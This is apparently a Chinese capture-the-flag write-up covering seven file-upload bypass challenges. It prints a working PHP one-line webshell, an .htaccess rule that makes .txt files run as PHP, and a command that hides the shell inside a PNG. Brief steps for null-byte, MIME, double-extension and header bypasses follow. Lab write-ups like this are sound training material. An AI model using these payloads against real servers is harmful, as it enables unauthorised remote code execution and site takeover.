目录
1.无限制
无限制,直接上传一句话木马
<?php
@eval($_POST['shell']);
?>
e
上传成功后,提供相对路径,使用蚁剑或菜刀连接,这里使用蚁剑
连接成功并找到flag
2.前端验证
启动环境,无法上传php文件
查看源代码,发现只能上传jpg,png,gif格式文件
将文件名后缀改成jpg,上传成功,使用bp抓包
把filename改成1.php和Content-Type改为php
发送数据包后使用蚁剑连接
连接成功并找到flag
3.htaccesss
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
查看源代码 发现php文件在黑名单下被拦截
先上传一个.htaccess文件,内容如下
AddType application/x-httpd-php .txt
修改文件名为.htaccess
再上传一句话木马jpg文件
上传成功后使用蚁剑连接
连接成功后找到flag
4.MIME绕过
服务端MIME类型检测是通过检查http包的Content-Type字段中的值来判断上传文件是否合法的,因此在文件上传时把数据包中的Content-Type值更改为image/png就可以达到绕过的目的。
发送php文件,再使用bp抓包
修改Content-Type为php后发送数据包
连接蚁剑
连接成功后获得flag
5.00截断
00截断是操作系统层的漏洞,url中%00表示ascll码中的0 ,
在有些函数处理时,会把这个字符当做结束符
查看源代码,发现只能上传jpg,png,gif文件
因此上传jpg文件,使用bp抓包构造00截断
发送数据包后使用蚁剑连接
连接成功找到flag
6.双写后缀
查看源代码,发现需要用双写后缀
上传php文件,bp抓包
修改filename为1.pphphp
发送数据包后连接
连接成功找到flag
7.文件头检查
随便找一张简单的图片命名为1.png,用cmd与php一句话木马生成一个名为22.php的木马
copy 1.png/b + 1.php/a 22.php
然后将此木马上传,使用bp抓包,修改Content-Type为使用image/jpg
使用蚁剑连接
连接成功找到flag